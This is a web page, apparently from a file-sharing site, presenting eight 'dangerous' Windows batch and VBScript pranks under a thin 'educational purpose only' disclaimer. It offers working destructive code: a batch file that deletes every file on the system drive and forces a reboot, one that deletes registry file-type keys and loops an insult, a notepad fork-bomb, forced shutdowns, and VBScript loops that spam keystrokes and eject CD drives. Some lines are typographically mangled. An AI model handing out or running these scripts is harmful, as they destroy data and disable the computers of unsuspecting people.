Register to Get Access to all the Stuff!!!
To Subscribe to Mobile Alerts Click Here
Now Receive Updates to Mobile by Free Subscription Send SMS
Hot: 8 Dangerous VB Scripts
Note:- The Following tutorial is for educational purpose only. SharingPortal.net is not responsible for the misuse of the programs by the visitors.
———————————————————————————————————
-The blue screen of Death [this might be dangerous]
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
———————————————————————————————————
-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer*
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10
———————————————————————————————————
-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE
———————————————————————————————————
-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
———————————————————————————————————
-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK**”
loop
———————————————————————————————————
-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
———————————————————————————————————
-Endless Backspace
*This makes it so the backspace key is constantly being pressed*
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs**”
loop
———————————————————————————————————
-Popping CD Drives
*This will make the CD drives constantly pop out*
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
Related posts:
;
;
;
;
;
:yahoo: